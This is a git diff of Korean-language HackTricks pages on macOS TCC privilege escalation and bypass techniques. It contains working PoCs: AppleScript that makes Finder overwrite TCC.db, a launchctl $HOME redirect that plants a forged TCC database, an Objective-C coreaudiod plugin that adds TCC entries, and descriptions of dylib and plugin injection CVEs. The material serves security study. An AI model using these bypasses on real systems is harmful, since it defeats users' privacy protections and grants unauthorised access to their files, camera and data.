|
||||
#### 자동화 (SE) + 접근성 (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** to FDA\*
|
||||
|
||||
**`System Events`에서의 자동화 + 접근성 (`kTCCServicePostEvent`**)을 통해 **프로세스에 키 입력을 보낼 수 있습니다**. 이렇게 하면 Finder를 남의 TCC.db를 변경하거나 임의의 앱에 FDA를 부여할 수 있습니다 (비밀번호가 요청될 수 있음).
|
||||
|
||||
Finder가 사용자의 TCC.db를 덮어쓰는 예시:
|
||||
|
||||
```applescript
|
||||
-- store the TCC.db file to copy in /tmp
|
||||
osascript <<EOF
|
||||
|
@ -514,31 +481,32 @@ keystroke "v" using {command down}
|
|||
end tell
|
||||
EOF
|
||||
```
|
||||
### `kTCCServiceAccessibility`를 FDA\*로
|
||||
|
||||
#### `kTCCServiceAccessibility`를 FDA\*로
|
||||
|
||||
[**접근성 권한을 남용하는 페이로드**](macos-tcc-payloads.md#accessibility)를 확인하여 FDA\*로 권한 상승 또는 키로거 실행 등을 할 수 있습니다.
|
||||
|
||||
### **Endpoint Security Client를 FDA로**
|
||||
#### **Endpoint Security Client를 FDA로**
|
||||
|
||||
**`kTCCServiceEndpointSecurityClient`**를 가지고 있다면 FDA를 가지고 있는 것입니다. 끝.
|
||||
\*\*`kTCCServiceEndpointSecurityClient`\*\*를 가지고 있다면 FDA를 가지고 있는 것입니다. 끝.
|
||||
|
||||
### 시스템 정책 SysAdmin 파일을 FDA로
|
||||
#### 시스템 정책 SysAdmin 파일을 FDA로
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`**는 사용자의 홈 폴더를 변경하여 TCC를 우회할 수 있게 해주는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있습니다.
|
||||
\*\*`kTCCServiceSystemPolicySysAdminFiles`\*\*는 사용자의 홈 폴더를 변경하여 TCC를 우회할 수 있게 해주는 **`NFSHomeDirectory`** 속성을 **변경**할 수 있습니다.
|
||||
|
||||
### 사용자 TCC DB를 FDA로
|
||||
#### 사용자 TCC DB를 FDA로
|
||||
|
||||
사용자 TCC 데이터베이스에 **쓰기 권한**을 얻으면 **`FDA`** 권한을 부여할 수 없습니다. 시스템 데이터베이스에 있는 권한만 부여할 수 있습니다.
|
||||
|
||||
하지만 **`Finder에 대한 자동화 권한`**을 부여하고 이전 기술을 남용하여 FDA\*로 상승할 수 있습니다.
|
||||
하지만 \*\*`Finder에 대한 자동화 권한`\*\*을 부여하고 이전 기술을 남용하여 FDA\*로 상승할 수 있습니다.
|
||||
|
||||
### **FDA에서 TCC 권한으로**
|
||||
#### **FDA에서 TCC 권한으로**
|
||||
|
||||
**전체 디스크 액세스**의 TCC 이름은 **`kTCCServiceSystemPolicyAllFiles`**입니다.
|
||||
**전체 디스크 액세스**의 TCC 이름은 \*\*`kTCCServiceSystemPolicyAllFiles`\*\*입니다.
|
||||
|
||||
실제 권한 상승은 아닌 것 같습니다만, 유용할 수 있습니다: FDA를 제어할 수 있다면 사용자 TCC 데이터베이스를 수정하고 어떤 액세스든 부여할 수 있습니다. FDA 권한을 잃을 수도 있기 때문에 이겢의 지속성 기술로 유용할 수 있습니다.
|
||||
|
||||
### **SIP 우회에서 TCC 우회로**
|
||||
#### **SIP 우회에서 TCC 우회로**
|
||||
|
||||
시스템 TCC 데이터베이스는 **SIP**에 의해 보호됩니다. 따라서 **지정된 엔타이틀먼트를 가진 프로세스만 수정**할 수 있습니다. 따라서, 공격자가 SIP 우회를 찾으면 파일을 수정할 수 있게 되며 다음을 할 수 있습니다:
|
||||
|
||||
|
@ -549,13 +517,16 @@ EOF
|
|||
|
||||
그러나 이 **SIP 우회를 TCC 우회로 남용**할 수 있는 다른 옵션이 있습니다. `/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist` 파일은 TCC 예외를 필요로 하는 애플리케이션의 허용 목록입니다. 따라서, 공격자가 이 파일의 SIP 보호를 **제거**하고 **자신의 애플리케이션**을 추가하면 해당 애플리케이션이 TCC를 우회할 수 있습니다.\
|
||||
예를 들어 터미널을 추가하려면:
|
||||
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
```
|
||||
`AllowApplicationsList.plist`:
|
||||
|
||||
`AllowApplicationsList.plist`:
|
||||
|
||||
허용된 애플리케이션 목록입니다.
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -578,29 +549,14 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
### TCC 우회
|
||||
|
||||
{% content-ref url="macos-tcc-bypasses/" %}
|
||||
[macos-tcc-bypasses](macos-tcc-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
#### TCC 우회
|
||||
|
||||
## 참고 자료
|
||||
### 참고 자료
|
||||
|
||||
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
|
||||
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
|
||||
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
|
||||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃헙 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS TCC 우회 방법
|
||||
# macOS TCC Bypasses
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
@ -19,6 +19,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
### 쓰기 우회
|
||||
|
||||
이것은 우회가 아니라 TCC가 작동하는 방식입니다: **쓰기를 보호하지 않습니다**. 터미널이 사용자의 데스크톱을 읽을 수 없더라도 **여전히 쓸 수 있습니다**:
|
||||
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
|
@ -28,17 +29,18 @@ ls: Desktop: Operation not permitted
|
|||
username@hostname ~ % cat Desktop/lalala
|
||||
asd
|
||||
```
|
||||
**확장 속성 `com.apple.macl`**은 **새 파일**에 추가되어 **생성자 앱**이 해당 파일을 읽을 수 있도록 합니다.
|
||||
|
||||
\*\*확장 속성 `com.apple.macl`\*\*은 **새 파일**에 추가되어 **생성자 앱**이 해당 파일을 읽을 수 있도록 합니다.
|
||||
|
||||
### TCC ClickJacking
|
||||
|
||||
**TCC 프롬프트 위에 창을 놓아** 사용자가 **인지하지 못한 채로 수락**하도록 만들 수 있습니다. [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**에서 PoC를 찾을 수 있습니다.**
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
|
||||
|
||||
### 임의의 이름으로 TCC 요청
|
||||
|
||||
공격자는 **`Info.plist`**에 임의의 이름(예: Finder, Google Chrome...)을 가진 앱을 **생성**하고 일부 TCC 보호 위치에 액세스를 요청하도록 만들 수 있습니다. 사용자는 정품 응용 프로그램이 이 액세스를 요청하는 것으로 생각할 것입니다.\
|
||||
공격자는 \*\*`Info.plist`\*\*에 임의의 이름(예: Finder, Google Chrome...)을 가진 앱을 **생성**하고 일부 TCC 보호 위치에 액세스를 요청하도록 만들 수 있습니다. 사용자는 정품 응용 프로그램이 이 액세스를 요청하는 것으로 생각할 것입니다.\
|
||||
게다가, 정품 앱을 도크에서 제거하고 가짜 앱을 넣어두는 것도 가능합니다. 사용자가 가짜 앱(동일한 아이콘을 사용할 수 있음)을 클릭하면 가짜 앱이 실제 앱을 호출하여 TCC 권한을 요청하고 악성 코드를 실행할 수 있어 사용자는 정품 앱이 액세스를 요청한 것으로 생각할 것입니다.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
@ -75,7 +77,7 @@ asd
|
|||
|
||||
**iMovie** 및 **Garageband**에는 이 권한과 다른 권한이 부여되어 있습니다.
|
||||
|
||||
해당 권한으로부터 iCloud 토큰을 얻는 **악용에 대한 정보**를 얻으려면 다음 토크를 확인하십시오: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
해당 권한으로부터 iCloud 토큰을 얻는 **악용에 대한 정보**를 얻으려면 다음 토크를 확인하십시오: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / 자동화
|
||||
|
||||
|
@ -87,7 +89,7 @@ Apple 스크립트에 대한 자세한 정보는 다음을 확인하십시오:
|
|||
[macos-apple-scripts.md](macos-apple-scripts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
예를 들어, 앱이 **`iTerm`에 대한 자동화 권한**을 가지고 있는 경우, 이 예에서 **`Terminal`**이 iTerm에 대한 액세스 권한을 가지고 있습니다:
|
||||
예를 들어, 앱이 **`iTerm`에 대한 자동화 권한**을 가지고 있는 경우, 이 예에서 \*\*`Terminal`\*\*이 iTerm에 대한 액세스 권한을 가지고 있습니다:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -108,12 +110,15 @@ end tell
|
|||
end tell
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```bash
|
||||
osascript iterm.script
|
||||
```
|
||||
|
||||
#### Finder를 통해
|
||||
|
||||
또는 앱이 Finder를 통해 액세스하는 경우, 다음과 같은 스크립트가 있을 수 있습니다:
|
||||
|
||||
```applescript
|
||||
set a_user to do shell script "logname"
|
||||
tell application "Finder"
|
||||
|
@ -123,6 +128,7 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
|
|||
end tell
|
||||
do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
```
|
||||
|
||||
## 앱 동작에 따른
|
||||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
@ -130,8 +136,9 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
사용자 영역의 **tccd 데몬**은 **`HOME`** **env** 변수를 사용하여 TCC 사용자 데이터베이스에 액세스합니다: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
[이 스택 오버플로우 게시물](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)에 따르면 TCC 데몬은 `launchd`를 통해 현재 사용자 도메인 내에서 실행되므로 **모든 환경 변수를 제어**할 수 있습니다.\
|
||||
따라서 **공격자는 `$HOME` 환경** 변수를 **`launchctl`**에서 **제어된 디렉토리를 가리키도록** 설정한 후 **TCC** 데몬을 **재시작**하고 **TCC 데이터베이스를 직접 수정**하여 **최종 사용자에게 프롬프트 없이** **모든 TCC 권한을 부여**할 수 있습니다.\
|
||||
따라서 **공격자는 `$HOME` 환경** 변수를 \*\*`launchctl`\*\*에서 **제어된 디렉토리를 가리키도록** 설정한 후 **TCC** 데몬을 **재시작**하고 **TCC 데이터베이스를 직접 수정**하여 **최종 사용자에게 프롬프트 없이** **모든 TCC 권한을 부여**할 수 있습니다.\
|
||||
PoC:
|
||||
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
$> tccutil reset All
|
||||
|
@ -158,6 +165,7 @@ NULL,
|
|||
# list Documents directory without prompting the end user
|
||||
$> ls ~/Documents
|
||||
```
|
||||
|
||||
### CVE-2021-30761 - 노트
|
||||
|
||||
노트는 TCC로 보호된 위치에 액세스 권한이 있었지만 노트를 생성하면 **보호되지 않은 위치에 생성**됩니다. 따라서, 노트에 보호된 파일을 복사하도록 노트에 요청한 다음 파일에 액세스할 수 있습니다:
|
||||
|
@ -166,36 +174,38 @@ $> ls ~/Documents
|
|||
|
||||
### CVE-2021-30782 - 이동
|
||||
|
||||
라이브러리 `libsecurity_translocate`를 사용하는 `/usr/libexec/lsd` 바이너리는 `com.apple.private.nullfs_allow` 허용 권한을 가지고 있어 **nullfs** 마운트를 생성할 수 있었으며 `com.apple.private.tcc.allow` 허용 권한을 가지고 **`kTCCServiceSystemPolicyAllFiles`**로 모든 파일에 액세스할 수 있었습니다.
|
||||
라이브러리 `libsecurity_translocate`를 사용하는 `/usr/libexec/lsd` 바이너리는 `com.apple.private.nullfs_allow` 허용 권한을 가지고 있어 **nullfs** 마운트를 생성할 수 있었으며 `com.apple.private.tcc.allow` 허용 권한을 가지고 \*\*`kTCCServiceSystemPolicyAllFiles`\*\*로 모든 파일에 액세스할 수 있었습니다.
|
||||
|
||||
"Library"에 격리 속성을 추가하고 **`com.apple.security.translocation`** XPC 서비스를 호출한 다음 Library를 **`$TMPDIR/AppTranslocation/d/d/Library`**로 매핑하여 Library 내의 모든 문서에 **액세스**할 수 있었습니다.
|
||||
"Library"에 격리 속성을 추가하고 **`com.apple.security.translocation`** XPC 서비스를 호출한 다음 Library를 \*\*`$TMPDIR/AppTranslocation/d/d/Library`\*\*로 매핑하여 Library 내의 모든 문서에 **액세스**할 수 있었습니다.
|
||||
|
||||
### CVE-2023-38571 - 음악 및 TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`음악`**은 흥미로운 기능을 가지고 있습니다: 실행 중일 때 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**에 드롭된 파일을 사용자의 "미디어 라이브러리"로 **가져옵니다**. 더욱이, 다음과 같은 것을 호출합니다: **`rename(a, b);`** 여기서 `a`와 `b`는:
|
||||
\*\*`음악`\*\*은 흥미로운 기능을 가지고 있습니다: 실행 중일 때 \*\*`~/Music/Music/Media.localized/Automatically Add to Music.localized`\*\*에 드롭된 파일을 사용자의 "미디어 라이브러리"로 **가져옵니다**. 더욱이, 다음과 같은 것을 호출합니다: **`rename(a, b);`** 여기서 `a`와 `b`는:
|
||||
|
||||
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
이 **`rename(a, b);`** 동작은 **경쟁 조건**에 취약하며, `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고 새 폴더(b)가 생성될 때 파일을 복사하고 삭제하고 **`~/Library/Application Support/com.apple.TCC`**를 가리키도록 할 수 있습니다.
|
||||
이 **`rename(a, b);`** 동작은 **경쟁 조건**에 취약하며, `Automatically Add to Music.localized` 폴더에 가짜 **TCC.db** 파일을 넣고 새 폴더(b)가 생성될 때 파일을 복사하고 삭제하고 \*\*`~/Library/Application Support/com.apple.TCC`\*\*를 가리키도록 할 수 있습니다.
|
||||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
**`SQLITE_SQLLOG_DIR="경로/폴더"`**를 설정하면 **모든 열린 db가 해당 경로로 복사**됩니다. 이 CVE에서는 이 제어가 남용되어 **TCC 데이터베이스를 가진 프로세스에 의해 열릴 SQLite 데이터베이스**에 **쓰기**되고, **파일 이름에 심볼릭 링크**를 사용하여 **`SQLITE_SQLLOG_DIR`**를 남용하여 해당 데이터베이스가 **열릴 때** 사용자 **TCC.db가 열린 것으로 덮어씌워**졌습니다.\
|
||||
\*\*`SQLITE_SQLLOG_DIR="경로/폴더"`\*\*를 설정하면 **모든 열린 db가 해당 경로로 복사**됩니다. 이 CVE에서는 이 제어가 남용되어 **TCC 데이터베이스를 가진 프로세스에 의해 열릴 SQLite 데이터베이스**에 **쓰기**되고, **파일 이름에 심볼릭 링크**를 사용하여 \*\*`SQLITE_SQLLOG_DIR`\*\*를 남용하여 해당 데이터베이스가 **열릴 때** 사용자 **TCC.db가 열린 것으로 덮어씌워**졌습니다.\
|
||||
**자세한 정보**는 [**여기의 설명서**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **및** [**여기의 강연**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s)에서 확인할 수 있습니다.
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
||||
환경 변수 **`SQLITE_AUTO_TRACE`**가 설정되면 라이브러리 **`libsqlite3.dylib`**가 모든 SQL 쿼리를 **기록**하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 기록할 수 있었습니다.
|
||||
환경 변수 \*\*`SQLITE_AUTO_TRACE`\*\*가 설정되면 라이브러리 \*\*`libsqlite3.dylib`\*\*가 모든 SQL 쿼리를 **기록**하기 시작합니다. 많은 애플리케이션이 이 라이브러리를 사용했기 때문에 모든 SQLite 쿼리를 기록할 수 있었습니다.
|
||||
|
||||
여러 Apple 애플리케이션은 TCC로 보호된 정보에 액세스하기 위해 이 라이브러리를 사용했습니다.
|
||||
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
```
|
||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
||||
|
||||
**이 **환경 변수는 `Metal` 프레임워크에서 사용**되며, 주로 `Music`과 같은 여러 프로그램에 의존성이 있으며 FDA가 있습니다.
|
||||
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
|
||||
|
||||
\*\*이 **환경 변수는 `Metal` 프레임워크에서 사용**되며, 주로 `Music`과 같은 여러 프로그램에 의존성이 있으며 FDA가 있습니다.
|
||||
|
||||
다음을 설정합니다: `MTL_DUMP_PIPELINES_TO_JSON_FILE="경로/이름"`. `경로`가 유효한 디렉토리인 경우 버그가 트리거되고 `fs_usage`를 사용하여 프로그램에서 무슨 일이 일어나고 있는지 볼 수 있습니다:
|
||||
|
||||
|
@ -203,7 +213,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
* 하나 이상의 `write()`가 파일에 내용을 씁니다 (이를 제어할 수 없음)
|
||||
* `경로/.dat.nosyncXXXX.XXXXXX`가 `rename()`을 통해 `경로/이름`으로 이름이 바뀝니다.
|
||||
|
||||
이것은 임시 파일 쓰기이며, **보안이 되지 않은 `rename(old, new)`**를 따릅니다.
|
||||
이것은 임시 파일 쓰기이며, \*\*보안이 되지 않은 `rename(old, new)`\*\*를 따릅니다.
|
||||
|
||||
**이것은 이전과 새 경로를 별도로 해결해야 하기 때문에 안전하지 않습니다.** 이는 시간이 걸리고 Race Condition에 취약할 수 있습니다. 자세한 정보는 `xnu` 함수 `renameat_internal()`을 확인하십시오.
|
||||
|
||||
|
@ -259,10 +269,10 @@ Apple은 사용자 프로필에 저장된 설정을 사용하여 **`NFSHomeDirec
|
|||
3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)를 사용하여 사용자의 디렉토리 서비스 항목을 내보냅니다.
|
||||
4. 사용자의 홈 디렉토리를 변경하기 위해 디렉토리 서비스 항목을 수정합니다.
|
||||
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)를 사용하여 수정된 디렉토리 서비스 항목을 가져옵니다.
|
||||
6. 사용자의 _tccd_를 중지하고 프로세스를 다시 시작합니다.
|
||||
6. 사용자의 \_tccd\_를 중지하고 프로세스를 다시 시작합니다.
|
||||
|
||||
두 번째 POC는 **`/usr/libexec/configd`**를 사용하여 `com.apple.private.tcc.allow`가 값 `kTCCServiceSystemPolicySysAdminFiles`로 있는 것을 이용했습니다.\
|
||||
**`configd`**를 **`-t`** 옵션으로 실행할 수 있었기 때문에 공격자는 **사용자의 홈 디렉토리를 변경**하는 **`configd` 코드 주입**으로 사용자의 홈 디렉토리를 변경하는 **`dsexport`** 및 **`dsimport`** 방법을 대체할 수 있었습니다.
|
||||
두 번째 POC는 \*\*`/usr/libexec/configd`\*\*를 사용하여 `com.apple.private.tcc.allow`가 값 `kTCCServiceSystemPolicySysAdminFiles`로 있는 것을 이용했습니다.\
|
||||
\*\*`configd`\*\*를 **`-t`** 옵션으로 실행할 수 있었기 때문에 공격자는 **사용자의 홈 디렉토리를 변경**하는 **`configd` 코드 주입**으로 사용자의 홈 디렉토리를 변경하는 **`dsexport`** 및 **`dsimport`** 방법을 대체할 수 있었습니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)를 확인하십시오.
|
||||
|
||||
|
@ -274,21 +284,23 @@ Apple은 사용자 프로필에 저장된 설정을 사용하여 **`NFSHomeDirec
|
|||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
또한 TCC 우회를 위해 발견된 가장 일반적인 프로세스 주입은 **플러그인(라이브러리 로드)**를 통해 이루어집니다.\
|
||||
또한 TCC 우회를 위해 발견된 가장 일반적인 프로세스 주입은 \*\*플러그인(라이브러리 로드)\*\*를 통해 이루어집니다.\
|
||||
플러그인은 일반적으로 라이브러리 또는 plist 형식의 추가 코드이며, **주 애플리케이션에 의해 로드**되어 해당 컨텍스트에서 실행됩니다. 따라서 주 애플리케이션이 TCC 제한 파일에 액세스 권한이 있었거나 엔트itlement를 부여했다면, **사용자 지정 코드도 해당 권한을 갖게 됩니다**.
|
||||
|
||||
### CVE-2020-27937 - 디렉토리 유틸리티
|
||||
|
||||
애플리케이션 `/System/Library/CoreServices/Applications/Directory Utility.app`은 **`kTCCServiceSystemPolicySysAdminFiles`** 엔트itlement를 가지고 있으며 **`.daplug`** 확장자를 가진 플러그인을 로드하고 **강화된** 런타임이 없었습니다.
|
||||
|
||||
이 CVE를 무기화하기 위해 **`NFSHomeDirectory`**가 변경되어 (이전 엔트itlement를 남용) 사용자의 TCC 데이터베이스를 **인수**하여 TCC를 우회할 수 있습니다.
|
||||
이 CVE를 무기화하기 위해 \*\*`NFSHomeDirectory`\*\*가 변경되어 (이전 엔트itlement를 남용) 사용자의 TCC 데이터베이스를 **인수**하여 TCC를 우회할 수 있습니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)를 확인하십시오.
|
||||
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
바이너리 **`/usr/sbin/coreaudiod`**는 엔타이틀먼트 `com.apple.security.cs.disable-library-validation`과 `com.apple.private.tcc.manager`를 가졌습니다. 첫 번째는 **코드 인젝션을 허용**하고 두 번째는 **TCC를 관리할 수 있는 권한**을 부여했습니다.
|
||||
바이너리 \*\*`/usr/sbin/coreaudiod`\*\*는 엔타이틀먼트 `com.apple.security.cs.disable-library-validation`과 `com.apple.private.tcc.manager`를 가졌습니다. 첫 번째는 **코드 인젝션을 허용**하고 두 번째는 **TCC를 관리할 수 있는 권한**을 부여했습니다.
|
||||
|
||||
이 바이너리는 `/Library/Audio/Plug-Ins/HAL` 폴더에서 **서드 파티 플러그인을 로드**할 수 있었기 때문에, 이 PoC를 사용하여 **플러그인을 로드하고 TCC 권한을 남용**할 수 있었습니다:
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
@ -315,11 +327,12 @@ add_tcc_entry();
|
|||
NSLog(@"[+] Exploitation finished...");
|
||||
exit(0);
|
||||
```
|
||||
|
||||
더 많은 정보는 [**원본 보고서**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)를 확인하십시오.
|
||||
|
||||
### 장치 추상화 레이어 (DAL) 플러그인
|
||||
|
||||
**`kTCCServiceCamera`**를 사용하는 Core Media I/O를 통해 카메라 스트림을 열 수 있는 시스템 애플리케이션은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을 프로세스에 로드**합니다(SIP 제한 없음).
|
||||
\*\*`kTCCServiceCamera`\*\*를 사용하는 Core Media I/O를 통해 카메라 스트림을 열 수 있는 시스템 애플리케이션은 `/Library/CoreMediaIO/Plug-Ins/DAL`에 위치한 **이 플러그인들을 프로세스에 로드**합니다(SIP 제한 없음).
|
||||
|
||||
일반 **생성자**가 포함된 라이브러리를 거기에 저장하는 것만으로도 **코드를 주입**하는 데 작동합니다.
|
||||
|
||||
|
@ -328,6 +341,7 @@ exit(0);
|
|||
### Firefox
|
||||
|
||||
Firefox 애플리케이션은 `com.apple.security.cs.disable-library-validation` 및 `com.apple.security.cs.allow-dyld-environment-variables` 엔터티먼트를 가지고 있었습니다:
|
||||
|
||||
```xml
|
||||
codesign -d --entitlements :- /Applications/Firefox.app
|
||||
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||
|
@ -353,6 +367,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
더 자세한 정보를 원하시면 [**원본 보고서를 확인하세요**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
|
||||
### CVE-2020-10006
|
||||
|
@ -363,7 +378,8 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
|
||||
텔레그램은 **`com.apple.security.cs.allow-dyld-environment-variables`** 및 **`com.apple.security.cs.disable-library-validation`** 허용권을 가지고 있어서, 이를 악용하여 카메라로 녹화하는 등의 권한에 액세스할 수 있었습니다. [**해당 페이로드를 여기서 찾을 수 있습니다**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
환경 변수를 사용하여 라이브러리를 로드하는 방법에 주목하십시오. **사용자 정의 plist**를 만들어 이 라이브러리를 삽입하고 **`launchctl`**를 사용하여 이를 실행하는 방법을 사용했습니다:
|
||||
